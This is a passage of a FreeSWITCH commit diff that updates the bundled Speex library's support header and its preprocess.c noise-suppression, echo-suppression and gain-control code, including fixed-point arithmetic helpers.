+/** Same as speex_alloc, except that the area is only needed inside a Speex call (might cause problem with wideband though) */
+#ifndef OVERRIDE_SPEEX_ALLOC_SCRATCH
+static inline void *speex_alloc_scratch (int size)
+{
+   /* Scratch space doesn't need to be cleared */
+   return calloc(size,1);
+}
+#endif
+
+/** Speex wrapper for realloc. To do your own dynamic allocation, all you need to do is replace this function, speex_alloc and speex_free */
+#ifndef OVERRIDE_SPEEX_REALLOC
+static inline void *speex_realloc (void *ptr, int size)
+{
+   return realloc(ptr, size);
+}
+#endif
+
+/** Speex wrapper for calloc. To do your own dynamic allocation, all you need to do is replace this function, speex_realloc and speex_alloc */
+#ifndef OVERRIDE_SPEEX_FREE
+static inline void speex_free (void *ptr)
+{
+   free(ptr);
+}
+#endif
+
+/** Same as speex_free, except that the area is only needed inside a Speex call (might cause problem with wideband though) */
+#ifndef OVERRIDE_SPEEX_FREE_SCRATCH
+static inline void speex_free_scratch (void *ptr)
+{
+   free(ptr);
+}
+#endif
+
+/** Copy n bytes of memory from src to dst. The 0* term provides compile-time type checking  */
+#ifndef OVERRIDE_SPEEX_COPY
+#define SPEEX_COPY(dst, src, n) (memcpy((dst), (src), (n)*sizeof(*(dst)) + 0*((dst)-(src)) ))
+#endif
+
+/** Copy n bytes of memory from src to dst, allowing overlapping regions. The 0* term 
+    provides compile-time type checking */
+#ifndef OVERRIDE_SPEEX_MOVE
+#define SPEEX_MOVE(dst, src, n) (memmove((dst), (src), (n)*sizeof(*(dst)) + 0*((dst)-(src)) ))
+#endif
+
+/** Set n bytes of memory to value of c, starting at address s */
+#ifndef OVERRIDE_SPEEX_MEMSET
+#define SPEEX_MEMSET(dst, c, n) (memset((dst), (c), (n)*sizeof(*(dst))))
+#endif
+
+
+#ifndef OVERRIDE_SPEEX_FATAL
+static inline void _speex_fatal(const char *str, const char *file, int line)
+{
+   fprintf (stderr, "Fatal (internal) error in %s, line %d: %s\n", file, line, str);
+   exit(1);
+}
+#endif
+
+#ifndef OVERRIDE_SPEEX_WARNING
+static inline void speex_warning(const char *str)
+{
+#ifndef DISABLE_WARNINGS
+   fprintf (stderr, "warning: %s\n", str);
+#endif
+}
+#endif
+
+#ifndef OVERRIDE_SPEEX_WARNING_INT
+static inline void speex_warning_int(const char *str, int val)
+{
+#ifndef DISABLE_WARNINGS
+   fprintf (stderr, "warning: %s %d\n", str, val);
+#endif
+}
+#endif
+
+#ifndef OVERRIDE_SPEEX_NOTIFY
+static inline void speex_notify(const char *str)
+{
+#ifndef DISABLE_NOTIFICATIONS
+   fprintf (stderr, "notification: %s\n", str);
+#endif
+}
+#endif
+
+#ifndef OVERRIDE_SPEEX_PUTC
+/** Speex wrapper for putc */
+static inline void _speex_putc(int ch, void *file)
+{
+   FILE *f = (FILE *)file;
+   fprintf(f, "%c", ch);
+}
+#endif
+
+#define speex_fatal(str) _speex_fatal(str, __FILE__, __LINE__);
+#define speex_assert(cond) {if (!(cond)) {speex_fatal("assertion failed: " #cond);}}
+
+#ifndef RELEASE
+static inline void print_vec(float *vec, int len, char *name)
+{
+   int i;
+   printf ("%s ", name);
+   for (i=0;i<len;i++)
+      printf (" %f", vec[i]);
+   printf ("\n");
+}
+#endif
+
+#endif
+

Modified: freeswitch/branches/seven/libs/speex/libspeex/preprocess.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/preprocess.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/preprocess.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
-/* Copyright (C) 2003 Epic Games 
-   Written by Jean-Marc Valin
-
+/* Copyright (C) 2003 Epic Games (written by Jean-Marc Valin)
+   Copyright (C) 2004-2006 Epic Games 
+   
    File: preprocess.c
    Preprocessor with denoising based on the algorithm by Ephraim and Malah
 
@@ -31,97 +31,372 @@
    POSSIBILITY OF SUCH DAMAGE.
 */
 
+
+/*
+   Recommended papers:
+   
+   Y. Ephraim and D. Malah, "Speech enhancement using minimum mean-square error
+   short-time spectral amplitude estimator". IEEE Transactions on Acoustics, 
+   Speech and Signal Processing, vol. ASSP-32, no. 6, pp. 1109-1121, 1984.
+   
+   Y. Ephraim and D. Malah, "Speech enhancement using minimum mean-square error
+   log-spectral amplitude estimator". IEEE Transactions on Acoustics, Speech and 
+   Signal Processing, vol. ASSP-33, no. 2, pp. 443-445, 1985.
+   
+   I. Cohen and B. Berdugo, "Speech enhancement for non-stationary noise environments".
+   Signal Processing, vol. 81, no. 2, pp. 2403-2418, 2001.
+
+   Stefan Gustafsson, Rainer Martin, Peter Jax, and Peter Vary. "A psychoacoustic 
+   approach to combined acoustic echo cancellation and noise reduction". IEEE 
+   Transactions on Speech and Audio Processing, 2002.
+   
+   J.-M. Valin, J. Rouat, and F. Michaud, "Microphone array post-filter for separation
+   of simultaneous non-stationary sources". In Proceedings IEEE International 
+   Conference on Acoustics, Speech, and Signal Processing, 2004.
+*/
+
 #ifdef HAVE_CONFIG_H
 #include "config.h"
 #endif
 
 #include <math.h>
 #include "speex/speex_preprocess.h"
-#include "misc.h"
-#include "smallft.h"
+#include "speex/speex_echo.h"
+#include "arch.h"
+#include "fftwrap.h"
+#include "filterbank.h"
+#include "math_approx.h"
+#include "os_support.h"
 
-#define max(a,b) ((a) > (b) ? (a) : (b))
-#define min(a,b) ((a) < (b) ? (a) : (b))
-
 #ifndef M_PI
 #define M_PI 3.14159263
 #endif
 
-#define SQRT_M_PI_2 0.88623
-#define LOUDNESS_EXP 2.5
+#define LOUDNESS_EXP 5.f
+#define AMP_SCALE .001f
+#define AMP_SCALE_1 1000.f
+      
+#define NB_BANDS 24
 
-#define NB_BANDS 8
+#define SPEECH_PROB_START_DEFAULT       QCONST16(0.35f,15)
+#define SPEECH_PROB_CONTINUE_DEFAULT    QCONST16(0.20f,15)
+#define NOISE_SUPPRESS_DEFAULT       -15
+#define ECHO_SUPPRESS_DEFAULT        -40
+#define ECHO_SUPPRESS_ACTIVE_DEFAULT -15
 
-#define SPEEX_PROB_START_DEFAULT    0.35f
-#define SPEEX_PROB_CONTINUE_DEFAULT 0.20f
+#ifndef NULL
+#define NULL 0
+#endif
 
-#define ZMIN .1
-#define ZMAX .316
-#define ZMIN_1 10
-#define LOG_MIN_MAX_1 0.86859
+#define SQR(x) ((x)*(x))
+#define SQR16(x) (MULT16_16((x),(x)))
+#define SQR16_Q15(x) (MULT16_16_Q15((x),(x)))
 
-static void conj_window(float *w, int len)
+#ifdef FIXED_POINT
+static inline spx_word16_t DIV32_16_Q8(spx_word32_t a, spx_word32_t b)
 {
+   if (SHR32(a,7) >= b)
+   {
+      return 32767;
+   } else {
+      if (b>=QCONST32(1,23))
+      {
+         a = SHR32(a,8);
+         b = SHR32(b,8);
+      }
+      if (b>=QCONST32(1,19))
+      {
+         a = SHR32(a,4);
+         b = SHR32(b,4);
+      }
+      if (b>=QCONST32(1,15))
+      {
+         a = SHR32(a,4);
+         b = SHR32(b,4);
+      }
+      a = SHL32(a,8);
+      return PDIV32_16(a,b);
+   }
+   
+}
+static inline spx_word16_t DIV32_16_Q15(spx_word32_t a, spx_word32_t b)
+{
+   if (SHR32(a,15) >= b)
+   {
+      return 32767;
+   } else {
+      if (b>=QCONST32(1,23))
+      {
+         a = SHR32(a,8);
+         b = SHR32(b,8);
+      }
+      if (b>=QCONST32(1,19))
+      {
+         a = SHR32(a,4);
+         b = SHR32(b,4);
+      }
+      if (b>=QCONST32(1,15))
+      {
+         a = SHR32(a,4);
+         b = SHR32(b,4);
+      }
+      a = SHL32(a,15)-a;
+      return DIV32_16(a,b);
+   }
+}
+#define SNR_SCALING 256.f
+#define SNR_SCALING_1 0.0039062f
+#define SNR_SHIFT 8
+
+#define FRAC_SCALING 32767.f
+#define FRAC_SCALING_1 3.0518e-05
+#define FRAC_SHIFT 1
+
+#define EXPIN_SCALING 2048.f
+#define EXPIN_SCALING_1 0.00048828f
+#define EXPIN_SHIFT 11
+#define EXPOUT_SCALING_1 1.5259e-05
+
+#define NOISE_SHIFT 7
+
+#else
+
+#define DIV32_16_Q8(a,b) ((a)/(b))
+#define DIV32_16_Q15(a,b) ((a)/(b))
+#define SNR_SCALING 1.f
+#define SNR_SCALING_1 1.f
+#define SNR_SHIFT 0
+#define FRAC_SCALING 1.f
+#define FRAC_SCALING_1 1.f
+#define FRAC_SHIFT 0
+#define NOISE_SHIFT 0
+
+#define EXPIN_SCALING 1.f
+#define EXPIN_SCALING_1 1.f
+#define EXPOUT_SCALING_1 1.f
+
+#endif
+
+/** Speex pre-processor state. */
+struct SpeexPreprocessState_ {
+   /* Basic info */
+   int    frame_size;        /**< Number of samples processed each time */
+   int    ps_size;           /**< Number of points in the power spectrum */
+   int    sampling_rate;     /**< Sampling rate of the input/output */
+   int    nbands;
+   FilterBank *bank;
+   
+   /* Parameters */
+   int    denoise_enabled;
+   int    vad_enabled;
+   int    dereverb_enabled;
+   spx_word16_t  reverb_decay;
+   spx_word16_t  reverb_level;
+   spx_word16_t speech_prob_start;
+   spx_word16_t speech_prob_continue;
+   int    noise_suppress;
+   int    echo_suppress;
+   int    echo_suppress_active;
+   SpeexEchoState *echo_state;
+   
+   spx_word16_t	speech_prob;  /**< Probability last frame was speech */
+
+   /* DSP-related arrays */
+   spx_word16_t *frame;      /**< Processing frame (2*ps_size) */
+   spx_word16_t *ft;         /**< Processing frame in freq domain (2*ps_size) */
+   spx_word32_t *ps;         /**< Current power spectrum */
+   spx_word16_t *gain2;      /**< Adjusted gains */
+   spx_word16_t *gain_floor; /**< Minimum gain allowed */
+   spx_word16_t *window;     /**< Analysis/Synthesis window */
+   spx_word32_t *noise;      /**< Noise estimate */
+   spx_word32_t *reverb_estimate; /**< Estimate of reverb energy */
+   spx_word32_t *old_ps;     /**< Power spectrum for last frame */
+   spx_word16_t *gain;       /**< Ephraim Malah gain */
+   spx_word16_t *prior;      /**< A-priori SNR */
+   spx_word16_t *post;       /**< A-posteriori SNR */
+
+   spx_word32_t *S;          /**< Smoothed power spectrum */
+   spx_word32_t *Smin;       /**< See Cohen paper */
+   spx_word32_t *Stmp;       /**< See Cohen paper */
+   int *update_prob;         /**< Probability of speech presence for noise update */
+
+   spx_word16_t *zeta;       /**< Smoothed a priori SNR */
+   spx_word32_t *echo_noise;
+   spx_word32_t *residual_echo;
+
+   /* Misc */
+   spx_word16_t *inbuf;      /**< Input buffer (overlapped analysis) */
+   spx_word16_t *outbuf;     /**< Output buffer (for overlap and add) */
+
+   /* AGC stuff, only for floating point for now */
+#ifndef FIXED_POINT
+   int    agc_enabled;
+   float  agc_level;
+   float  loudness_accum;
+   float *loudness_weight;   /**< Perceptual loudness curve */
+   float  loudness;          /**< Loudness estimate */
+   float  agc_gain;          /**< Current AGC gain */
+   float  max_gain;          /**< Maximum gain allowed */
+   float  max_increase_step; /**< Maximum increase in gain from one frame to another */
+   float  max_decrease_step; /**< Maximum decrease in gain from one frame to another */
+   float  prev_loudness;     /**< Loudness of previous frame */
+   float  init_max;          /**< Current gain limit during initialisation */
+#endif
+   int    nb_adapt;          /**< Number of frames used for adaptation so far */
+   int    was_speech;
+   int    min_count;         /**< Number of frames processed so far */
+   void  *fft_lookup;        /**< Lookup table for the FFT */
+#ifdef FIXED_POINT
+   int    frame_shift;
+#endif
+};
+
+
+static void conj_window(spx_word16_t *w, int len)
+{
    int i;
    for (i=0;i<len;i++)
    {
-      float x=4*((float)i)/len;
+      spx_word16_t tmp;
+#ifdef FIXED_POINT
+      spx_word16_t x = DIV32_16(MULT16_16(32767,i),len);
+#else      
+      spx_word16_t x = DIV32_16(MULT16_16(QCONST16(4.f,13),i),len);
+#endif
       int inv=0;
-      if (x<1)
+      if (x<QCONST16(1.f,13))
       {
-      } else if (x<2)
+      } else if (x<QCONST16(2.f,13))
       {
-         x=2-x;
+         x=QCONST16(2.f,13)-x;
          inv=1;
-      } else if (x<3)
+      } else if (x<QCONST16(3.f,13))
       {
-         x=x-2;
+         x=x-QCONST16(2.f,13);
          inv=1;
       } else {
-         x=4-x;
+         x=QCONST16(2.f,13)-x+QCONST16(2.f,13); /* 4 - x */
       }
-      x*=1.9979;
-      w[i]=(.5-.5*cos(x))*(.5-.5*cos(x));
+      x = MULT16_16_Q14(QCONST16(1.271903f,14), x);
+      tmp = SQR16_Q15(QCONST16(.5f,15)-MULT16_16_P15(QCONST16(.5f,15),spx_cos_norm(SHL32(EXTEND32(x),2))));
       if (inv)
-         w[i]=1-w[i];
-      w[i]=sqrt(w[i]);
+         tmp=SUB16(Q15_ONE,tmp);
+      w[i]=spx_sqrt(SHL32(EXTEND32(tmp),15));
    }
 }
 
+      
+#ifdef FIXED_POINT
 /* This function approximates the gain function 
    y = gamma(1.25)^2 * M(-.25;1;-x) / sqrt(x)  
    which multiplied by xi/(1+xi) is the optimal gain
    in the loudness domain ( sqrt[amplitude] )
+   Input in Q11 format, output in Q15
 */
-static inline float hypergeom_gain(float x)
+static inline spx_word32_t hypergeom_gain(spx_word32_t xx)
 {
    int ind;
+   spx_word16_t frac;
+   /* Q13 table */
+   static const spx_word16_t table[21] = {
+       6730,  8357,  9868, 11267, 12563, 13770, 14898,
+      15959, 16961, 17911, 18816, 19682, 20512, 21311,
+      22082, 22827, 23549, 24250, 24931, 25594, 26241};
+      ind = SHR32(xx,10);
+      if (ind<0)
+         return Q15_ONE;
+      if (ind>19)
+         return ADD32(EXTEND32(Q15_ONE),EXTEND32(DIV32_16(QCONST32(.1296,23), SHR32(xx,EXPIN_SHIFT-SNR_SHIFT))));
+      frac = SHL32(xx-SHL32(ind,10),5);
+      return SHL32(DIV32_16(PSHR32(MULT16_16(Q15_ONE-frac,table[ind]) + MULT16_16(frac,table[ind+1]),7),(spx_sqrt(SHL32(xx,15)+6711))),7);
+}
+
+static inline spx_word16_t qcurve(spx_word16_t x)
+{
+   x = MAX16(x, 1);
+   return DIV32_16(SHL32(EXTEND32(32767),9),ADD16(512,MULT16_16_Q15(QCONST16(.60f,15),DIV32_16(32767,x))));
+}
+
+/* Compute the gain floor based on different floors for the background noise and residual echo */
+static void compute_gain_floor(int noise_suppress, int effective_echo_suppress, spx_word32_t *noise, spx_word32_t *echo, spx_word16_t *gain_floor, int len)
+{
+   int i;
+   
+   if (noise_suppress > effective_echo_suppress)
+   {
+      spx_word16_t noise_gain, gain_ratio;
+      noise_gain = EXTRACT16(MIN32(Q15_ONE,SHR32(spx_exp(MULT16_16(QCONST16(0.11513,11),noise_suppress)),1)));
+      gain_ratio = EXTRACT16(MIN32(Q15_ONE,SHR32(spx_exp(MULT16_16(QCONST16(.2302585f,11),effective_echo_suppress-noise_suppress)),1)));
+
+      /* gain_floor = sqrt [ (noise*noise_floor + echo*echo_floor) / (noise+echo) ] */
+      for (i=0;i<len;i++)
+         gain_floor[i] = MULT16_16_Q15(noise_gain,
+                                       spx_sqrt(SHL32(EXTEND32(DIV32_16_Q15(PSHR32(noise[i],NOISE_SHIFT) + MULT16_32_Q15(gain_ratio,echo[i]),
+                                             (1+PSHR32(noise[i],NOISE_SHIFT) + echo[i]) )),15)));
+   } else {
+      spx_word16_t echo_gain, gain_ratio;
+      echo_gain = EXTRACT16(MIN32(Q15_ONE,SHR32(spx_exp(MULT16_16(QCONST16(0.11513,11),effective_echo_suppress)),1)));
+      gain_ratio = EXTRACT16(MIN32(Q15_ONE,SHR32(spx_exp(MULT16_16(QCONST16(.2302585f,11),noise_suppress-effective_echo_suppress)),1)));
+
+      /* gain_floor = sqrt [ (noise*noise_floor + echo*echo_floor) / (noise+echo) ] */
+      for (i=0;i<len;i++)
+         gain_floor[i] = MULT16_16_Q15(echo_gain,
+                                       spx_sqrt(SHL32(EXTEND32(DIV32_16_Q15(MULT16_32_Q15(gain_ratio,PSHR32(noise[i],NOISE_SHIFT)) + echo[i],
+                                             (1+PSHR32(noise[i],NOISE_SHIFT) + echo[i]) )),15)));
+   }
+}
+
+#else
+/* This function approximates the gain function 
+   y = gamma(1.25)^2 * M(-.25;1;-x) / sqrt(x)  
+   which multiplied by xi/(1+xi) is the optimal gain
+   in the loudness domain ( sqrt[amplitude] )
+*/
+static inline spx_word32_t hypergeom_gain(spx_word32_t xx)
+{
+   int ind;
    float integer, frac;
+   float x;
    static const float table[21] = {
       0.82157f, 1.02017f, 1.20461f, 1.37534f, 1.53363f, 1.68092f, 1.81865f,
       1.94811f, 2.07038f, 2.18638f, 2.29688f, 2.40255f, 2.50391f, 2.60144f,
       2.69551f, 2.78647f, 2.87458f, 2.96015f, 3.04333f, 3.12431f, 3.20326f};
-      
-   integer = floor(2*x);
-   ind = (int)integer;
-   if (ind<0)
-      return 1;
-   if (ind>19)
-      return 1+.1296/x;
-   frac = 2*x-integer;
-   return ((1-frac)*table[ind] + frac*table[ind+1])/sqrt(x+.0001f);
+      x = EXPIN_SCALING_1*xx;
+      integer = floor(2*x);
+      ind = (int)integer;
+      if (ind<0)
+         return FRAC_SCALING;
+      if (ind>19)
+         return FRAC_SCALING*(1+.1296/x);
+      frac = 2*x-integer;
+      return FRAC_SCALING*((1-frac)*table[ind] + frac*table[ind+1])/sqrt(x+.0001f);
 }
 
-static inline float qcurve(float x)
+static inline spx_word16_t qcurve(spx_word16_t x)
 {
-   return 1.f/(1.f+.1f/(x*x));
+   return 1.f/(1.f+.15f/(SNR_SCALING_1*x));
 }
 
-SpeexPreprocessState *speex_preprocess_state_init(int frame_size, int sampling_rate)
+static void compute_gain_floor(int noise_suppress, int effective_echo_suppress, spx_word32_t *noise, spx_word32_t *echo, spx_word16_t *gain_floor, int len)
 {
    int i;
-   int N, N3, N4;
+   float echo_floor;
+   float noise_floor;
 
+   noise_floor = exp(.2302585f*noise_suppress);
+   echo_floor = exp(.2302585f*effective_echo_suppress);
+
+   /* Compute the gain floor based on different floors for the background noise and residual echo */
+   for (i=0;i<len;i++)
+      gain_floor[i] = FRAC_SCALING*sqrt(noise_floor*PSHR32(noise[i],NOISE_SHIFT) + echo_floor*echo[i])/sqrt(1+PSHR32(noise[i],NOISE_SHIFT) + echo[i]);
+}
+
+#endif
+EXPORT SpeexPreprocessState *speex_preprocess_state_init(int frame_size, int sampling_rate)
+{
+   int i;
+   int N, N3, N4, M;
+
    SpeexPreprocessState *st = (SpeexPreprocessState *)speex_alloc(sizeof(SpeexPreprocessState));
    st->frame_size = frame_size;
 
@@ -153,49 +428,51 @@
    
    st->sampling_rate = sampling_rate;
    st->denoise_enabled = 1;
-   st->agc_enabled = 0;
-   st->agc_level = 8000;
    st->vad_enabled = 0;
    st->dereverb_enabled = 0;
-   st->reverb_decay = .5;
-   st->reverb_level = .2;
+   st->reverb_decay = 0;
+   st->reverb_level = 0;
+   st->noise_suppress = NOISE_SUPPRESS_DEFAULT;
+   st->echo_suppress = ECHO_SUPPRESS_DEFAULT;
+   st->echo_suppress_active = ECHO_SUPPRESS_ACTIVE_DEFAULT;
 
-   st->speech_prob_start = SPEEX_PROB_START_DEFAULT;
-   st->speech_prob_continue = SPEEX_PROB_CONTINUE_DEFAULT;
+   st->speech_prob_start = SPEECH_PROB_START_DEFAULT;
+   st->speech_prob_continue = SPEECH_PROB_CONTINUE_DEFAULT;
 
-   st->frame = (float*)speex_alloc(2*N*sizeof(float));
-   st->ps = (float*)speex_alloc(N*sizeof(float));
-   st->gain2 = (float*)speex_alloc(N*sizeof(float));
-   st->window = (float*)speex_alloc(2*N*sizeof(float));
-   st->noise = (float*)speex_alloc(N*sizeof(float));
-   st->reverb_estimate = (float*)speex_alloc(N*sizeof(float));
-   st->old_ps = (float*)speex_alloc(N*sizeof(float));
-   st->gain = (float*)speex_alloc(N*sizeof(float));
-   st->prior = (float*)speex_alloc(N*sizeof(float));
-   st->post = (float*)speex_alloc(N*sizeof(float));
-   st->loudness_weight = (float*)speex_alloc(N*sizeof(float));
-   st->inbuf = (float*)speex_alloc(N3*sizeof(float));
-   st->outbuf = (float*)speex_alloc(N3*sizeof(float));
-   st->echo_noise = (float*)speex_alloc(N*sizeof(float));
+   st->echo_state = NULL;
+   
+   st->nbands = NB_BANDS;
+   M = st->nbands;
+   st->bank = filterbank_new(M, sampling_rate, N, 1);
+   
+   st->frame = (spx_word16_t*)speex_alloc(2*N*sizeof(spx_word16_t));
+   st->window = (spx_word16_t*)speex_alloc(2*N*sizeof(spx_word16_t));
+   st->ft = (spx_word16_t*)speex_alloc(2*N*sizeof(spx_word16_t));
+   
+   st->ps = (spx_word32_t*)speex_alloc((N+M)*sizeof(spx_word32_t));
+   st->noise = (spx_word32_t*)speex_alloc((N+M)*sizeof(spx_word32_t));
+   st->echo_noise = (spx_word32_t*)speex_alloc((N+M)*sizeof(spx_word32_t));
+   st->residual_echo = (spx_word32_t*)speex_alloc((N+M)*sizeof(spx_word32_t));
+   st->reverb_estimate = (spx_word32_t*)speex_alloc((N+M)*sizeof(spx_word32_t));
+   st->old_ps = (spx_word32_t*)speex_alloc((N+M)*sizeof(spx_word32_t));
+   st->prior = (spx_word16_t*)speex_alloc((N+M)*sizeof(spx_word16_t));
+   st->post = (spx_word16_t*)speex_alloc((N+M)*sizeof(spx_word16_t));
+   st->gain = (spx_word16_t*)speex_alloc((N+M)*sizeof(spx_word16_t));
+   st->gain2 = (spx_word16_t*)speex_alloc((N+M)*sizeof(spx_word16_t));
+   st->gain_floor = (spx_word16_t*)speex_alloc((N+M)*sizeof(spx_word16_t));
+   st->zeta = (spx_word16_t*)speex_alloc((N+M)*sizeof(spx_word16_t));
+   
+   st->S = (spx_word32_t*)speex_alloc(N*sizeof(spx_word32_t));
+   st->Smin = (spx_word32_t*)speex_alloc(N*sizeof(spx_word32_t));
+   st->Stmp = (spx_word32_t*)speex_alloc(N*sizeof(spx_word32_t));
+   st->update_prob = (int*)speex_alloc(N*sizeof(int));
+   
+   st->inbuf = (spx_word16_t*)speex_alloc(N3*sizeof(spx_word16_t));
+   st->outbuf = (spx_word16_t*)speex_alloc(N3*sizeof(spx_word16_t));
 
-   st->S = (float*)speex_alloc(N*sizeof(float));
-   st->Smin = (float*)speex_alloc(N*sizeof(float));
-   st->Stmp = (float*)speex_alloc(N*sizeof(float));
-   st->update_prob = (float*)speex_alloc(N*sizeof(float));
-
-   st->zeta = (float*)speex_alloc(N*sizeof(float));
-   st->Zpeak = 0;
-   st->Zlast = 0;
-
-   st->noise_bands = (float*)speex_alloc(NB_BANDS*sizeof(float));
-   st->noise_bands2 = (float*)speex_alloc(NB_BANDS*sizeof(float));
-   st->speech_bands = (float*)speex_alloc(NB_BANDS*sizeof(float));
-   st->speech_bands2 = (float*)speex_alloc(NB_BANDS*sizeof(float));
-   st->noise_bandsN = st->speech_bandsN = 1;
-
    conj_window(st->window, 2*N3);
    for (i=2*N3;i<2*st->ps_size;i++)
-      st->window[i]=1;
+      st->window[i]=Q15_ONE;
    
    if (N4>0)
    {
@@ -205,51 +482,61 @@
          st->window[i+N3]=1;
       }
    }
-   for (i=0;i<N;i++)
+   for (i=0;i<N+M;i++)
    {
-      st->noise[i]=1e4;
-      st->reverb_estimate[i]=0.;
-      st->old_ps[i]=1e4;
-      st->gain[i]=1;
-      st->post[i]=1;
-      st->prior[i]=1;
+      st->noise[i]=QCONST32(1.f,NOISE_SHIFT);
+      st->reverb_estimate[i]=0;
+      st->old_ps[i]=1;
+      st->gain[i]=Q15_ONE;
+      st->post[i]=SHL16(1, SNR_SHIFT);
+      st->prior[i]=SHL16(1, SNR_SHIFT);
    }
 
+   for (i=0;i<N;i++)
+      st->update_prob[i] = 1;
    for (i=0;i<N3;i++)
    {
       st->inbuf[i]=0;
       st->outbuf[i]=0;
    }
-
+#ifndef FIXED_POINT
+   st->agc_enabled = 0;
+   st->agc_level = 8000;
+   st->loudness_weight = (float*)speex_alloc(N*sizeof(float));
    for (i=0;i<N;i++)
    {
       float ff=((float)i)*.5*sampling_rate/((float)N);
+      /*st->loudness_weight[i] = .5f*(1.f/(1.f+ff/8000.f))+1.f*exp(-.5f*(ff-3800.f)*(ff-3800.f)/9e5f);*/
       st->loudness_weight[i] = .35f-.35f*ff/16000.f+.73f*exp(-.5f*(ff-3800)*(ff-3800)/9e5f);
       if (st->loudness_weight[i]<.01f)
          st->loudness_weight[i]=.01f;
       st->loudness_weight[i] *= st->loudness_weight[i];
    }
+   /*st->loudness = pow(AMP_SCALE*st->agc_level,LOUDNESS_EXP);*/
+   st->loudness = 1e-15;
+   st->agc_gain = 1;
+   st->max_gain = 30;
+   st->max_increase_step = exp(0.11513f * 12.*st->frame_size / st->sampling_rate);
+   st->max_decrease_step = exp(-0.11513f * 40.*st->frame_size / st->sampling_rate);
+   st->prev_loudness = 1;
+   st->init_max = 1;
+#endif
+   st->was_speech = 0;
 
-   st->speech_prob = 0;
-   st->last_speech = 1000;
-   st->loudness = pow(6000,LOUDNESS_EXP);
-   st->loudness2 = 6000;
-   st->nb_loudness_adapt = 0;
+   st->fft_lookup = spx_fft_init(2*N);
 
-   st->fft_lookup = (struct drft_lookup*)speex_alloc(sizeof(struct drft_lookup));
-   spx_drft_init(st->fft_lookup,2*N);
-
    st->nb_adapt=0;
-   st->consec_noise=0;
-   st->nb_preprocess=0;
+   st->min_count=0;
    return st;
 }
 
-void speex_preprocess_state_destroy(SpeexPreprocessState *st)
+EXPORT void speex_preprocess_state_destroy(SpeexPreprocessState *st)
 {
    speex_free(st->frame);
+   speex_free(st->ft);
    speex_free(st->ps);
    speex_free(st->gain2);
+   speex_free(st->gain_floor);
    speex_free(st->window);
    speex_free(st->noise);
    speex_free(st->reverb_estimate);
@@ -257,8 +544,11 @@
    speex_free(st->gain);
    speex_free(st->prior);
    speex_free(st->post);
+#ifndef FIXED_POINT
    speex_free(st->loudness_weight);
+#endif
    speex_free(st->echo_noise);
+   speex_free(st->residual_echo);
 
    speex_free(st->S);
    speex_free(st->Smin);
@@ -266,298 +556,64 @@
    speex_free(st->update_prob);
    speex_free(st->zeta);
 
-   speex_free(st->noise_bands);
-   speex_free(st->noise_bands2);
-   speex_free(st->speech_bands);
-   speex_free(st->speech_bands2);
-
    speex_free(st->inbuf);
    speex_free(st->outbuf);
 
-   spx_drft_clear(st->fft_lookup);
-   speex_free(st->fft_lookup);
-
+   spx_fft_destroy(st->fft_lookup);
+   filterbank_destroy(st->bank);
    speex_free(st);
 }
 
-static void update_noise(SpeexPreprocessState *st, float *ps, spx_int32_t *echo)
+/* FIXME: The AGC doesn't work yet with fixed-point*/
+#ifndef FIXED_POINT
+static void speex_compute_agc(SpeexPreprocessState *st, spx_word16_t Pframe, spx_word16_t *ft)
 {
    int i;
-   float beta;
-   st->nb_adapt++;
-   beta=1.0f/st->nb_adapt;
-   if (beta < .05f)
-      beta=.05f;
+   int N = st->ps_size;
+   float target_gain;
+   float loudness=1.f;
+   float rate;
    
-   if (!echo)
+   for (i=2;i<N;i++)
    {
-      for (i=0;i<st->ps_size;i++)
-         st->noise[i] = (1.f-beta)*st->noise[i] + beta*ps[i];
-   } else {
-      for (i=0;i<st->ps_size;i++)
-         st->noise[i] = (1.f-beta)*st->noise[i] + beta*max(1.f,ps[i]-st->frame_size*st->frame_size*1.0*echo[i]); 
-#if 0
-      for (i=0;i<st->ps_size;i++)
-         st->noise[i] = 0;
-#endif
+      loudness += 2.f*N*st->ps[i]* st->loudness_weight[i];
    }
-}
-
-static int speex_compute_vad(SpeexPreprocessState *st, float *ps, float mean_prior, float mean_post)
-{
-   int i, is_speech=0;
-   int N = st->ps_size;
-   float scale=.5f/N;
-
-   /* FIXME: Clean this up a bit */
+   loudness=sqrt(loudness);
+      /*if (loudness < 2*pow(st->loudness, 1.0/LOUDNESS_EXP) &&
+   loudness*2 > pow(st->loudness, 1.0/LOUDNESS_EXP))*/
+   if (Pframe>.3f)
    {
-      float bands[NB_BANDS];
-      int j;
-      float p0, p1;
-      float tot_loudness=0;
-      float x = sqrt(mean_post);
-
-      for (i=5;i<N-10;i++)
-      {
-         tot_loudness += scale*st->ps[i] * st->loudness_weight[i];
-      }
-
-      for (i=0;i<NB_BANDS;i++)
-      {
-         bands[i]=1e4f;
-         for (j=i*N/NB_BANDS;j<(i+1)*N/NB_BANDS;j++)
-         {
-            bands[i] += ps[j];
-         }
-         bands[i]=log(bands[i]);
-      }
-      
-      /*p1 = .0005+.6*exp(-.5*(x-.4)*(x-.4)*11)+.1*exp(-1.2*x);
-      if (x<1.5)
-         p0=.1*exp(2*(x-1.5));
-      else
-         p0=.02+.1*exp(-.2*(x-1.5));
-      */
-
-      p0=1.f/(1.f+exp(3.f*(1.5f-x)));
-      p1=1.f-p0;
-
-      /*fprintf (stderr, "%f %f ", p0, p1);*/
-      /*p0 *= .99*st->speech_prob + .01*(1-st->speech_prob);
-      p1 *= .01*st->speech_prob + .99*(1-st->speech_prob);
-      
-      st->speech_prob = p0/(p1+p0);
-      */
-
-      if (st->noise_bandsN < 50 || st->speech_bandsN < 50)
-      {
-         if (mean_post > 5.f)
-         {
-            float adapt = 1./st->speech_bandsN++;
-            if (adapt<.005f)
-               adapt = .005f;
-            for (i=0;i<NB_BANDS;i++)
-            {
-               st->speech_bands[i] = (1.f-adapt)*st->speech_bands[i] + adapt*bands[i];
-               /*st->speech_bands2[i] = (1-adapt)*st->speech_bands2[i] + adapt*bands[i]*bands[i];*/
-               st->speech_bands2[i] = (1.f-adapt)*st->speech_bands2[i] + adapt*(bands[i]-st->speech_bands[i])*(bands[i]-st->speech_bands[i]);
-            }
-         } else {
-            float adapt = 1./st->noise_bandsN++;
-            if (adapt<.005f)
-               adapt = .005f;
-            for (i=0;i<NB_BANDS;i++)
-            {
-               st->noise_bands[i] = (1.f-adapt)*st->noise_bands[i] + adapt*bands[i];
